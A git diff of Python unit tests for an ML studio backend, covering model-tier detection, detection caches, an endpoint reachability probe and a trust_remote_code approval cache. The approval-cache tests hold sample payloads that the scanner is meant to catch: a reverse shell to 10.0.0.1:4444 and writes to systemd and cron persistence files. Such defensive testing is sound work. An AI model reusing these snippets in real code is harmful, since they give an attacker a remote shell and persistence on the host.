+ (tmp_path / "config.json").write_text(json.dumps(cfg)) + + key = (str(tmp_path), None) + _check_config_needs_530(str(tmp_path)) + assert key in _config_needs_530_cache + assert _config_needs_530_cache[key] is True + + +# --------------------------------------------------------------------------- +# _norm_separators +# --------------------------------------------------------------------------- + + +class TestNormSeparators: + def test_underscore_to_hyphen(self): + assert _norm_separators("qwen3_5") == "qwen3-5" + + def test_dot_preserved(self): + assert _norm_separators("qwen3.5") == "qwen3.5" + + def test_hyphen_unchanged(self): + assert _norm_separators("gemma-4") == "gemma-4" + + def test_mixed(self): + assert _norm_separators("Qwen3_5.MoE") == "Qwen3-5.MoE" + + def test_whitespace_to_hyphen(self): + assert _norm_separators("some model") == "some-model" + + def test_empty(self): + assert _norm_separators("") == "" + + +# --------------------------------------------------------------------------- +# _tier_from_name — separator-insensitive matching +# --------------------------------------------------------------------------- + + +class TestTierFromNameSeparatorNorm: + """Verify that underscore/dot aliases in model IDs resolve to the same + tier as their canonical hyphen/dot counterparts.""" + + def test_qwen3_underscore_5_returns_530(self): + tier, _ = _tier_from_name("Qwen/Qwen3_5-7B") + assert tier == "530" + + def test_qwen3_next_underscore_returns_530(self): + tier, _ = _tier_from_name("org/Qwen3_Next-14B") + assert tier == "530" + + def test_gemma_4_underscore_returns_550(self): + tier, _ = _tier_from_name("google/gemma_4_E2B_it") + assert tier == "550" + + def test_gemma_4_12b_underscore_returns_510(self): + tier, _ = _tier_from_name("unsloth/gemma_4_12b_it") + assert tier == "510" + + def test_canonical_dot_still_works(self): + tier, _ = _tier_from_name("Qwen/Qwen3.5-7B") + assert tier == "530" + + def test_unrelated_underscores_not_promoted(self): + assert _tier_from_name("meta_llama/Llama_3_8B") is None + + def test_qwen3_hyphen_6_size_not_promoted(self): + """Qwen3-6B is a size name, not the qwen3.6 release line.""" + assert _tier_from_name("Qwen/Qwen3-6B-Instruct") is None + + def test_qwen3_hyphen_5_size_not_promoted(self): + assert _tier_from_name("Qwen/Qwen3-5B") is None + + +# --------------------------------------------------------------------------- +# _resolve_base_model — model_name-then-_name_or_path fallback +# --------------------------------------------------------------------------- + + +class TestResolveBaseModelNameOrPathFallback: + """When config.json has both 'model_name' (self-referential local path) and + '_name_or_path' (original HF ID), _resolve_base_model must use _name_or_path.""" + + def test_name_or_path_used_when_model_name_is_self_ref(self, tmp_path: Path): + d = tmp_path / "my-qwen35-finetune" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + { + "model_name": str(d), + "_name_or_path": "Qwen/Qwen3.5-7B", + } + ) + ) + assert _resolve_base_model(str(d)) == "Qwen/Qwen3.5-7B" + + def test_model_name_used_when_not_self_ref(self, tmp_path: Path): + d = tmp_path / "adapter" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + { + "model_name": "unsloth/Qwen3.5-7B-bnb-4bit", + "_name_or_path": "Qwen/Qwen3.5-7B", + } + ) + ) + # model_name is not the local path, so it wins + assert _resolve_base_model(str(d)) == "unsloth/Qwen3.5-7B-bnb-4bit" + + def test_tier_resolved_via_name_or_path_when_model_name_self_refs(self, tmp_path: Path): + """End-to-end: get_transformers_tier picks up the sidecar tier from + _name_or_path even when model_name is set to the checkpoint's own path.""" + d = tmp_path / "my-custom-finetune" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + { + "model_type": "future_unknown_type", + "model_name": str(d), + "_name_or_path": "Qwen/Qwen3.5-7B", + } + ) + ) + assert get_transformers_tier(str(d)) == "530" + + def test_local_config_tier_not_bypassed_by_private_name_or_path(self, tmp_path: Path): + """Full checkpoint with model_type: qwen3_5 must still route to 530 even + when _name_or_path is a private HF ID with no recognisable tier substring. + + Regression guard: before the adapter-only pre-resolve fix, + activate_transformers_for_subprocess would resolve to the private HF ID + and then fail to probe it offline, returning default instead of 530. + """ + d = tmp_path / "my-finetuned-model" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + { + "model_type": "qwen3_5", + "model_name": str(d), + "_name_or_path": "my-org/private-custom-id", + } + ) + ) + # get_transformers_tier reads config.json directly and returns 530 + # without needing to probe the private HF ID. + assert get_transformers_tier(str(d)) == "530" + + +# --------------------------------------------------------------------------- +# adapter_model-only LoRA resolution (no adapter_config.json) +# --------------------------------------------------------------------------- + + +class TestAdapterModelOnlyLoRA: + """A LoRA dir with adapter_model*.safetensors but no adapter_config.json must + still be detected as an adapter and resolved to its base model so the worker + activates the base model's sidecar instead of tiering off the adapter folder.""" + + def test_has_adapter_weights_detects_safetensors_and_bin(self, tmp_path: Path): + d = tmp_path / "adapter" + d.mkdir() + assert _has_adapter_weights(d) is False + (d / "adapter_model.safetensors").write_text("") + assert _has_adapter_weights(d) is True + d2 = tmp_path / "adapter_bin" + d2.mkdir() + (d2 / "adapter_model.bin").write_text("") + assert _has_adapter_weights(d2) is True + + def test_is_lora_adapter_dir_for_config_and_weights_only(self, tmp_path: Path): + # adapter_config.json present + a = tmp_path / "cfg" + a.mkdir() + (a / "adapter_config.json").write_text("{}") + assert _is_lora_adapter_dir(a) is True + # adapter_model weights only, no config + b = tmp_path / "weights_only" + b.mkdir() + (b / "adapter_model.safetensors").write_text("") + assert _is_lora_adapter_dir(b) is True + # plain checkpoint dir (neither) + c = tmp_path / "plain" + c.mkdir() + (c / "config.json").write_text("{}") + assert _is_lora_adapter_dir(c) is False + # not a directory + assert _is_lora_adapter_dir(tmp_path / "missing") is False + + def test_resolve_adapter_only_lora_via_unsloth_dir_name(self, tmp_path: Path): + """adapter_model-only LoRA with the unsloth__ naming resolves to + unsloth/ through the import-light directory-name parse.""" + d = tmp_path / "unsloth_Qwen3.5-7B_20260620" + d.mkdir() + (d / "adapter_model.safetensors").write_text("") + assert _resolve_base_model(str(d)) == "unsloth/Qwen3.5-7B" + + def test_activation_pre_resolves_adapter_only_lora(self, tmp_path: Path): + """Regression: activate_transformers_for_subprocess must pre-resolve an + adapter_model-only LoRA dir (weights present, adapter_config.json absent). + Before the gate used _is_lora_adapter_dir, the adapter_config-only check + skipped resolution and the worker tiered off the adapter folder itself.""" + d = tmp_path / "my-custom-lora" + d.mkdir() + (d / "adapter_model.safetensors").write_text("") + snap = (list(sys.path), os.environ.get("PYTHONPATH")) + try: + with ( + patch( + "utils.transformers_version._resolve_base_model", + side_effect = lambda m: m, + ) as mock_resolve, + patch( + "utils.transformers_version.get_transformers_tier", + return_value = "default", + ), + ): + activate_transformers_for_subprocess(str(d)) + finally: + sys.path[:] = snap[0] + if snap[1] is None: + os.environ.pop("PYTHONPATH", None) + else: + os.environ["PYTHONPATH"] = snap[1] + mock_resolve.assert_called_once_with(str(d)) + + +# --------------------------------------------------------------------------- +# 530-config override must not be flipped by stale local path hints +# --------------------------------------------------------------------------- + + +class TestConfig530OverrideGuard: + """A correct 530 config must not be flipped to 550 by a 5.5-looking substring in + a stale/renamed local path; only a real Hub id or the folder basename may override.""" + + def test_stale_local_path_does_not_flip_530_to_550(self, tmp_path: Path): + d = tmp_path / "my-qwen35-run" + d.mkdir() + (d / "config.json").write_text( + json.dumps( + { + "model_type": "qwen3_5", + "_name_or_path": "/old/run/qwen3.6-source", + } + ) + ) + # Stale path is not a Hub id, so the 530 config wins over its qwen3.6 substring. + assert get_transformers_tier(str(d)) == "530" + + def test_current_basename_can_still_override_to_550(self, tmp_path: Path): + d = tmp_path / "Qwen3.6-27B" + d.mkdir() + # Qwen3.6 reuses the qwen3_5 config id but is a 5.5 model by name. + (d / "config.json").write_text( + json.dumps({"model_type": "qwen3_5", "_name_or_path": str(d)}) + ) + assert get_transformers_tier(str(d)) == "550" + + def test_real_hub_id_can_still_override_to_550(self, tmp_path: Path): + d = tmp_path / "my-finetune" + d.mkdir() + (d / "config.json").write_text( + json.dumps({"model_type": "qwen3_5", "_name_or_path": "Qwen/Qwen3.6-27B"}) + ) + assert get_transformers_tier(str(d)) == "550" + + def test_remote_qwen36_name_or_path_overrides_530(self): + """Slow path: a fetched qwen3_5 config naming Qwen3.6 in _name_or_path -> 550.""" + _config_needs_530_cache.clear() + _config_json_cache.clear() + with patch( + "utils.transformers_version._load_config_json", + return_value = {"model_type": "qwen3_5", "_name_or_path": "Qwen/Qwen3.6-27B"}, + ): + assert get_transformers_tier("private/renamed-q36") == "550" + + +class TestLooksLikeHfId: + def test_empty_and_whitespace_are_not_ids(self): + assert _looks_like_hf_id("") is False + assert _looks_like_hf_id(" ") is False + + def test_plain_hub_id(self): + assert _looks_like_hf_id("Qwen/Qwen3.5-7B") is True + + def test_absolute_and_dot_paths_are_not_ids(self): + assert _looks_like_hf_id("/old/run/qwen3.5-source") is False + assert _looks_like_hf_id("./qwen3.5-source") is False + + def test_existing_local_path_is_not_an_id(self, tmp_path: Path): + d = tmp_path / "Qwen3.5-7B" + d.mkdir() + import os as _os + + cwd = _os.getcwd() + try: + _os.chdir(tmp_path) + # "Qwen3.5-7B" exists relative to cwd, so it is a path, not a Hub id. + assert _looks_like_hf_id("Qwen3.5-7B") is False + finally: + _os.chdir(cwd) + + +class TestMalformedInputRobustness: + """Tier detection fails open to default instead of crashing on bad input.""" + + def setup_method(self): + _config_json_cache.clear() + _config_needs_530_cache.clear() + + def test_non_string_model_type_does_not_crash(self): + assert _config_needs_530({"model_type": ["qwen3_5"]}) is False + + def test_non_list_architectures_does_not_crash(self): + assert _config_needs_530({"architectures": "Qwen3_5ForCausalLM"}) is False + + def test_local_config_non_string_fields_returns_default(self, tmp_path: Path): + d = tmp_path / "weird" + d.mkdir() + (d / "config.json").write_text( + json.dumps({"model_type": ["qwen3_5"], "_name_or_path": {"x": 1}}) + ) + with patch( + "utils.transformers_version._check_tokenizer_config_needs_v5", return_value = False + ): + assert get_transformers_tier(str(d)) == "default" + + def test_pathological_long_name_does_not_crash(self): + # An over-long name makes is_file() raise OSError; must fail open. + assert get_transformers_tier("x" * 5000) == "default" + + def test_empty_name_returns_default(self): + assert get_transformers_tier("") == "default" + + +# --------------------------------------------------------------------------- +# Offline negatives must not poison the version caches (persistent worker) +# --------------------------------------------------------------------------- + + +class TestOfflineCacheNotPoisoned: + """An offline first load must not leave a stale negative for a later online read.""" + + def setup_method(self): + _tokenizer_class_cache.clear() + _config_json_cache.clear() + + def test_offline_tokenizer_assumption_not_cached(self, monkeypatch): + import utils.transformers_version as tv + + monkeypatch.setattr(tv, "_env_offline", lambda: True) + # No local file, not a local dir -> offline branch returns False without caching. + assert _check_tokenizer_config_needs_v5("org/uncached") is False + assert ("org/uncached", None) not in _tokenizer_class_cache + + def test_offline_then_online_refetches(self, monkeypatch): + import utils.transformers_version as tv + + # 1) Offline: returns False, nothing cached. + monkeypatch.setattr(tv, "_env_offline", lambda: True) + assert _check_tokenizer_config_needs_v5("org/needs5") is False + assert ("org/needs5", None) not in _tokenizer_class_cache + + # 2) Back online: the real fetch runs (cache was not poisoned) and is honored. + monkeypatch.setattr(tv, "_env_offline", lambda: False) + + class _Resp: + def read(self): + return json.dumps({"tokenizer_class": "TokenizersBackend"}).encode() + + def __enter__(self): + return self + + def __exit__(self, *a): + return False + + monkeypatch.setattr("urllib.request.urlopen", lambda req, timeout = 10: _Resp()) + assert _check_tokenizer_config_needs_v5("org/needs5") is True + + def test_offline_config_miss_not_cached(self, monkeypatch): + import utils.transformers_version as tv + + monkeypatch.setattr(tv, "_env_offline", lambda: True) + monkeypatch.setattr(tv, "_config_json_from_hf_cache", lambda name: None) + assert _load_config_json("org/uncached-config", None) is None + assert ("org/uncached-config", None) not in _config_json_cache + + +# --------------------------------------------------------------------------- +# hf_endpoint_unreachable — bounded, proxy/egress-aware reachability probe +# --------------------------------------------------------------------------- + + +class TestHfEndpointUnreachable: + def test_reachable_returns_false(self, monkeypatch): + class _Resp: + def __enter__(self): + return self + + def __exit__(self, *a): + return False + + monkeypatch.setattr("urllib.request.urlopen", lambda *a, **k: _Resp()) + assert hf_endpoint_unreachable(timeout = 2) is False + + def test_gateway_error_is_unreachable(self, monkeypatch): + import urllib.error + + def _gw(*a, **k): + raise urllib.error.HTTPError("http://x", 504, "Gateway Timeout", {}, None) + + monkeypatch.setattr("urllib.request.urlopen", _gw) + assert hf_endpoint_unreachable(timeout = 2) is True + + def test_other_http_status_is_reachable(self, monkeypatch): + import urllib.error + + def _405(*a, **k): + raise urllib.error.HTTPError("http://x", 405, "Method Not Allowed", {}, None) + + monkeypatch.setattr("urllib.request.urlopen", _405) + assert hf_endpoint_unreachable(timeout = 2) is False + + def test_tls_failure_is_reachable(self, monkeypatch): + import ssl + import urllib.error + + def _tls(*a, **k): + raise urllib.error.URLError(ssl.SSLCertVerificationError("self-signed")) + + monkeypatch.setattr("urllib.request.urlopen", _tls) + # TLS reached the server: treat as reachable so the load surfaces the cert error. + assert hf_endpoint_unreachable(timeout = 2) is False + + def test_dns_failure_is_unreachable(self, monkeypatch): + import socket + import urllib.error + + def _dns(*a, **k): + raise urllib.error.URLError(socket.gaierror(-2, "Name or service not known")) + + monkeypatch.setattr("urllib.request.urlopen", _dns) + assert hf_endpoint_unreachable(timeout = 2) is True + + def test_hung_probe_is_bounded(self, monkeypatch): + import time + + def _hang(*a, **k): + time.sleep(30) + + monkeypatch.setattr("urllib.request.urlopen", _hang) + t0 = time.time() + result = hf_endpoint_unreachable(timeout = 2) + assert result is True and (time.time() - t0) < 6.0 diff --git a/studio/backend/tests/test_trc_approval_cache.py b/studio/backend/tests/test_trc_approval_cache.py new file mode 100644 index 0000000000..f4a85fee5d --- /dev/null +++ b/studio/backend/tests/test_trc_approval_cache.py @@ -0,0 +1,308 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for the persistent per-user trust_remote_code approval cache. + +The cache skips only the DIALOG, never the scan: every load re-scans (CRITICAL always +blocked), and a stored approval just seeds the authoritative fingerprint check. The scanner +and fingerprint run for real; only the config/file fetch and commit-SHA lookup are stubbed. +""" + +import pytest + +import utils.security.consent as consent +import utils.security.remote_code_approvals as approvals +from utils.security import evaluate_remote_code_consent_for_targets + +# HIGH (approvable) is the interesting case: benign code never prompts and CRITICAL is never +# approvable, so the cache that skips the prompt only matters for blockable-but-approvable. +_HIGH = { + "modeling_persist.py": ( + "open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n" + ) +} +_HIGH2 = { # a different HIGH payload -> different fingerprint + "modeling_persist.py": ("open('/etc/cron.d/x', 'w').write('* * * * * root sh -c id')\n") +} +_CRITICAL = { + "modeling_evil.py": ( + "import socket, subprocess, os\n" + "s = socket.socket(); s.connect(('10.0.0.1', 4444))\n" + "os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n" + ) +} + + +@pytest.fixture(autouse = True) +def _isolated_store(tmp_path, monkeypatch): + """Point the store at a tmp file and start each test with a clean cache.""" + monkeypatch.setattr(approvals, "_store_path", lambda: tmp_path / "approvals.json") + monkeypatch.delenv("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", raising = False) + yield + + +def _patch_scan( + monkeypatch, + files, + sha = "sha1", +): + """Stub the gate's scanners and the SHA resolver; return a {'scans': n} counter.""" + state = {"scans": 0} + + def _files(target, hf_token = None): + state["scans"] += 1 + return dict(files) + + monkeypatch.setattr(consent, "_config_has_auto_map", lambda *a, **k: True) + monkeypatch.setattr(consent, "repo_remote_code_files", _files) + monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: sha) + return state + + +def _gate( + targets, + *, + approved = None, + subject = "user-a", +): + return evaluate_remote_code_consent_for_targets( + targets if isinstance(targets, list) else [targets], + None, + trust_remote_code = True, + approved_fingerprint = approved, + subject = subject, + ) + + +def _approve( + monkeypatch, + target = "org/m", + files = _HIGH, + sha = "sha1", + subject = "user-a", +): + """Drive a genuine approval (scan -> user supplies the matching fingerprint -> record).""" + st = _patch_scan(monkeypatch, files, sha = sha) + fp = _gate(target, subject = subject).fingerprint # blocked: no approval yet + _gate(target, approved = fp, subject = subject) # explicit approval -> recorded + return st, fp + + +# --- store API --------------------------------------------------------------- + + +def test_store_roundtrip_and_forget(): + approvals.record( + "u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH", scanner_version = 1 + ) + got = approvals.lookup("u", "k") + assert got is not None and got.fingerprint == "f" and got.scanner_version == 1 + approvals.forget("u", "k") + assert approvals.lookup("u", "k") is None + + +def test_file_lock_acquires_releases_and_reacquires(): + # Used around every store write; must acquire, release, and be re-acquirable (no leak). + with approvals._file_lock(): + pass + with approvals._file_lock(): + pass + + +def test_concurrent_records_do_not_lose_entries(): + # Many writers recording different keys must all survive the read-modify-write; the file + # lock + re-read serialize them so none clobbers another (cross-process race fix). + import threading + + def rec(i): + approvals.record("u", f"k{i}", commit_sha = "s", fingerprint = f"f{i}", max_severity = "HIGH") + + threads = [threading.Thread(target = rec, args = (i,)) for i in range(20)] + for t in threads: + t.start() + for t in threads: + t.join() + for i in range(20): + assert approvals.lookup("u", f"k{i}") is not None + + +def test_combined_sha_none_when_any_unresolvable(monkeypatch): + monkeypatch.setattr( + approvals, "resolve_commit_sha", lambda t, hf = None: None if t == "org/base" else "s" + ) + assert approvals.resolve_combined_sha(["org/a", "org/base"]) is None + assert approvals.resolve_combined_sha(["org/a"]) is not None + + +def test_resolve_commit_sha_local_and_offline_are_none(monkeypatch): + monkeypatch.setattr("utils.paths.is_local_path", lambda t: t.startswith("/")) + assert approvals.resolve_commit_sha("/local/model") is None + monkeypatch.setattr(approvals, "_env_offline", lambda: True) + assert approvals.resolve_commit_sha("org/remote") is None + + +def test_corrupt_store_is_ignored_then_rewritten(): + store = approvals._store_path() + store.parent.mkdir(parents = True, exist_ok = True) + store.write_text("{ not valid json") + assert approvals.lookup("u", "k") is None # no raise + approvals.record("u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH") + assert approvals.lookup("u", "k") is not None # valid file rewritten + + +def test_malformed_store_shape_fails_safe(): + # Valid JSON + version but a non-dict shape (hand-edited) must fail safe (re-prompt), + # never crash lookup/record/forget. + store = approvals._store_path() + store.parent.mkdir(parents = True, exist_ok = True) + for bad in ('{"version": 1, "subjects": []}', '{"version": 1, "subjects": {"u": []}}'): + store.write_text(bad) + assert approvals.lookup("u", "k") is None # no raise + approvals.forget("u", "k") # no raise + approvals.record("u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH") + assert approvals.lookup("u", "k") is not None # store healed + + +# --- gate integration: the cache skips the prompt, never the scan ------------ + + +def test_cache_miss_prompts(monkeypatch): + _patch_scan(monkeypatch, _HIGH) + d = _gate("org/m") + assert d.blocked is True and d.approvable is True + assert approvals.lookup("user-a", approvals.approval_target_key(["org/m"])) is None + + +def test_unchanged_repo_skips_prompt_but_still_scans(monkeypatch): + st, _ = _approve(monkeypatch) + before = st["scans"] + d = _gate("org/m") # SHA + fingerprint match -> auto-approve, but the scan still runs + assert d.blocked is False and d.reason == "approved by fingerprint" + assert st["scans"] == before + 1 # cache never skips the scan + + +def test_sha_moved_forces_reprompt(monkeypatch): + _approve(monkeypatch, sha = "sha1") + monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: "sha2") + d = _gate("org/m") # SHA moved -> seed withheld -> re-prompt even though code is identical + assert d.blocked is True + + +def test_local_offline_uses_fingerprint_only(monkeypatch): + # SHA unresolvable (local/offline): the fingerprint alone governs, so unchanged code + # still auto-approves. + _approve(monkeypatch, sha = None) + d = _gate("org/m") + assert d.blocked is False and d.reason == "approved by fingerprint" + + +def test_changed_code_same_sha_reprompts(monkeypatch): + # Even with the primary SHA unchanged, changed executable code (e.g. an external + # auto_map repo) changes the fingerprint, so the dialog returns. + _approve(monkeypatch, files = _HIGH, sha = "sha1") + monkeypatch.setattr(consent, "repo_remote_code_files", lambda t, hf_token = None: dict(_HIGH2)) + d = _gate("org/m") + assert d.blocked is True + + +def test_scanner_version_change_invalidates(monkeypatch): + _approve(monkeypatch) # recorded under the current SCANNER_VERSION + monkeypatch.setattr(approvals, "SCANNER_VERSION", approvals.SCANNER_VERSION + 1) + d = _gate("org/m") # ruleset changed -> stored approval ignored -> re-prompt + assert d.blocked is True + + +def test_critical_is_never_recorded(monkeypatch): + _patch_scan(monkeypatch, _CRITICAL) + fp = _gate("org/m").fingerprint + d = _gate("org/m", approved = fp) # CRITICAL is not approvable + assert d.blocked is True and d.approvable is False + assert approvals.lookup("user-a", approvals.approval_target_key(["org/m"])) is None + + +def test_forged_critical_store_entry_is_refused(monkeypatch): + _patch_scan(monkeypatch, _CRITICAL) + key = approvals.approval_target_key(["org/m"]) + approvals._save( + { + "version": 1, + "subjects": { + "user-a": { + key: { + "commit_sha": "org/m=sha1", + "fingerprint": "x", + "max_severity": "CRITICAL", + "scanner_version": approvals.SCANNER_VERSION, + "approved_at": "t", + } + } + }, + } + ) + assert approvals.lookup("user-a", key) is None # read guard refuses CRITICAL + assert _gate("org/m").blocked is True # scan still runs and blocks + + +def test_forged_downgraded_severity_still_blocks_critical(monkeypatch): + # The store is editable JSON: forge a non-CRITICAL severity + the real fingerprint/SHA + # for code that is actually CRITICAL. The scan still runs every load, so CRITICAL is + # hard-blocked regardless of what the store claims. + st = _patch_scan(monkeypatch, _CRITICAL, sha = "sha1") + fp = _gate("org/m").fingerprint + key = approvals.approval_target_key(["org/m"]) + approvals._save( + { + "version": 1, + "subjects": { + "user-a": { + key: { + "commit_sha": approvals.resolve_combined_sha(["org/m"]), + "fingerprint": fp, + "max_severity": "HIGH", # forged downgrade + "scanner_version": approvals.SCANNER_VERSION, + "approved_at": "t", + } + } + }, + } + ) + before = st["scans"] + d = _gate("org/m") + assert d.blocked is True and d.approvable is False + assert st["scans"] == before + 1 # scanned despite the forged approval + + +def test_disable_flag_bypasses_cache(monkeypatch): + _approve(monkeypatch) + monkeypatch.setenv("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", "1") + d = _gate("org/m") # cache off -> no seed -> re-prompt + assert d.blocked is True + + +def test_subject_isolation(monkeypatch): + _approve(monkeypatch, subject = "user-a") + assert _gate("org/m", subject = "user-a").blocked is False # a: seeded -> auto-approve + assert _gate("org/m", subject = "user-b").blocked is True # b: still prompted + + +def test_combined_lora_key(monkeypatch): + targets = ["org/adapter", "org/base"] + _approve(monkeypatch, target = targets) + assert _gate(targets).blocked is False # combined key seeded + assert _gate(["org/adapter"]).blocked is True # adapter-only key misses + + +def test_no_subject_disables_cache(monkeypatch): + st = _patch_scan(monkeypatch, _HIGH) + fp = evaluate_remote_code_consent_for_targets( + ["org/m"], None, trust_remote_code = True, subject = None + ).fingerprint + evaluate_remote_code_consent_for_targets( + ["org/m"], None, trust_remote_code = True, approved_fingerprint = fp, subject = None + ) + assert approvals.lookup("", approvals.approval_target_key(["org/m"])) is None + # No subject -> nothing seeded -> still blocked next time. + d = evaluate_remote_code_consent_for_targets( + ["org/m"], None, trust_remote_code = True, subject = None + ) + assert d.blocked is True diff --git a/studio/backend/tests/test_utils.py b/studio/backend/tests/test_utils.py index cc7d04ca0a..64a3c62156 100644 --- a/studio/backend/tests/test_utils.py +++ b/studio/backend/tests/test_utils.py @@ -107,6 +107,7 @@ class TestGetDevice: patch("utils.hardware.hardware._has_torch", return_value = False), patch("utils.hardware.hardware.is_apple_silicon", return_value = True), patch("utils.hardware.hardware._has_mlx", return_value = True), + patch("utils.hardware.hardware._has_usable_mlx_stack", return_value = True), ): assert _reset_and_detect() == DeviceType.MLX diff --git a/studio/backend/tests/test_vision_cache.py b/studio/backend/tests/test_vision_cache.py index 192bec53c8..18b532cc9b 100644 --- a/studio/backend/tests/test_vision_cache.py +++ b/studio/backend/tests/test_vision_cache.py @@ -41,8 +41,20 @@ from utils.models.model_config import ( @pytest.fixture(autouse = True) -def _clear_vision_cache(): - """Ensure every test starts with a fresh cache.""" +def _clear_vision_cache(tmp_path, monkeypatch): + """Ensure every test starts with a fresh cache, from an empty working dir. + + ``is_vision_model`` calls ``is_local_path`` first: any relative model id that + happens to exist on disk (``Path(name).exists()``) is treated as a local + model, short-circuiting before the mocked detection internals run. The CI cwd + (``studio/backend``) and the HF cache can contain dirs whose names collide + with the synthetic remote ids used here (``org/my-vlm``, ``model-a``, + ``broken/model`` ...), which made these tests fail with "called 0 times". + Running each test from a fresh empty ``tmp_path`` removes that collision + while leaving the real ``is_local_path`` logic intact (the local-GGUF tests + pass absolute ``tmp_path`` paths, unaffected by cwd). + """ + monkeypatch.chdir(tmp_path) _vision_detection_cache.clear() yield _vision_detection_cache.clear() @@ -59,7 +71,7 @@ class TestVisionCacheHitMiss: """Two calls for the same model invoke the uncached fn once.""" assert is_vision_model("org/my-vlm") is True assert is_vision_model("org/my-vlm") is True - mock_uncached.assert_called_once_with("org/my-vlm", None) + mock_uncached.assert_called_once_with("org/my-vlm", None, local_files_only = False) @patch("utils.models.model_config._is_vision_model_uncached", return_value = False) def test_different_models_each_detected(self, mock_uncached): @@ -85,7 +97,7 @@ class TestVisionCacheStoresFalse: assert is_vision_model("org/text-only") is False assert is_vision_model("org/text-only") is False mock_uncached.assert_called_once() - assert _vision_detection_cache[("org/text-only", None)] is False + assert _vision_detection_cache[("org/text-only", None, False)] is False # Subprocess path (transformers 5.x) caching @@ -108,7 +120,7 @@ class TestVisionCacheSubprocessPath: assert is_vision_model("unsloth/Qwen3.5-2B") is True mock_subprocess.assert_called_once() - assert _vision_detection_cache[("unsloth/Qwen3.5-2B", None)] is True + assert _vision_detection_cache[("unsloth/Qwen3.5-2B", None, False)] is True @patch("utils.models.model_config._raw_config_has_vision_config", return_value = True) @patch("utils.models.model_config._is_vision_model_subprocess", return_value = None) @@ -121,7 +133,9 @@ class TestVisionCacheSubprocessPath: assert is_vision_model("unsloth/gemma-4-E4B-it") is True assert is_vision_model("unsloth/gemma-4-E4B-it") is True - mock_raw_config.assert_called_once_with("unsloth/gemma-4-E4B-it", hf_token = None) + mock_raw_config.assert_called_once_with( + "unsloth/gemma-4-E4B-it", hf_token = None, local_files_only = False + ) mock_subprocess.assert_not_called() @@ -393,6 +407,43 @@ class TestVisionCacheTokenHandling: mock_uncached.assert_called_once() +class TestVisionCacheLocalOnly: + """local_files_only is in the cache key: an offline negative must not be reused by a + later online probe (else a VLM is routed through the text loader until restart).""" + + def test_local_only_negative_does_not_poison_online(self, monkeypatch): + import utils.models.model_config as mc + + mc._vision_detection_cache.clear() + monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n) + # Pin env-offline off so the key tracks the kwarg. + monkeypatch.setattr(mc, "_env_offline", lambda: False) + + seen = [] + + def _probe( + name, + hf_token = None, + local_files_only = False, + ): + seen.append(local_files_only) + # Offline can't fetch -> not a VLM; online reveals the VLM. + return False if local_files_only else True + + monkeypatch.setattr(mc, "_is_vision_model_uncached", _probe) + + # Offline probe caches False under a local-only key. + assert mc.is_vision_model("some/vlm", local_files_only = True) is False + # A later online probe must re-run (different key) and detect the VLM. + assert mc.is_vision_model("some/vlm", local_files_only = False) is True + assert seen == [True, False] + # The online positive is then cached for subsequent online callers. + assert mc.is_vision_model("some/vlm", local_files_only = False) is True + assert seen == [True, False] + mc._vision_detection_cache.clear() + + # --------------------------------------------------------------------------- # Direct unit tests for _raw_config_has_vision_config # --------------------------------------------------------------------------- @@ -558,7 +609,11 @@ class TestAudioDetectionCacheTokenAware: mc._audio_detection_cache.clear() calls = [] - def _fake(name, hf_token = None): + def _fake( + name, + hf_token = None, + local_files_only = False, + ): calls.append(hf_token) # Gated repo: only an authenticated probe can read the tokenizer. return ("bicodec", True) if hf_token else (None, True) @@ -589,7 +644,11 @@ class TestAudioDetectionCacheTokenAware: transient_calls = [] - def _transient(name, hf_token = None): + def _transient( + name, + hf_token = None, + local_files_only = False, + ): transient_calls.append(hf_token) return (None, False) # network/5xx -- not cacheable @@ -601,7 +660,11 @@ class TestAudioDetectionCacheTokenAware: definitive_calls = [] - def _definitive(name, hf_token = None): + def _definitive( + name, + hf_token = None, + local_files_only = False, + ): definitive_calls.append(hf_token) return (None, True) # read the config, no audio tokens @@ -611,3 +674,94 @@ class TestAudioDetectionCacheTokenAware: # Probed once: the definitive None was cached. assert definitive_calls == [None] mc._audio_detection_cache.clear() + + def test_local_only_negative_does_not_poison_online(self, monkeypatch): + """An offline negative must not be reused by a later online probe (else an audio + model is routed through the text loader until restart).""" + import utils.models.model_config as mc + + mc._audio_detection_cache.clear() + monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n) + # Pin env-offline off so the key tracks the kwarg. + monkeypatch.setattr(mc, "_env_offline", lambda: False) + + seen = [] + + def _probe( + name, + hf_token = None, + local_files_only = False, + ): + seen.append(local_files_only) + # Offline: nothing on disk -> not audio; online reveals the audio model. + return (None, True) if local_files_only else ("snac", True) + + monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _probe) + + # Offline probe caches None under a local-only key. + assert mc.detect_audio_type("some/audio-model", local_files_only = True) is None + # A later online probe must re-run (different key) and detect the audio model. + assert mc.detect_audio_type("some/audio-model", local_files_only = False) == "snac" + assert seen == [True, False] + # The online positive is then cached for subsequent online callers. + assert mc.detect_audio_type("some/audio-model", local_files_only = False) == "snac" + assert seen == [True, False] + mc._audio_detection_cache.clear() + + def test_env_offline_negative_does_not_poison_online(self, monkeypatch): + """An env-offline probe (default local_files_only=False) must cache under the + effective-offline key, so clearing the env var later doesn't leak a stale negative.""" + import utils.models.model_config as mc + + mc._audio_detection_cache.clear() + monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n) + + env_offline = {"v": True} + 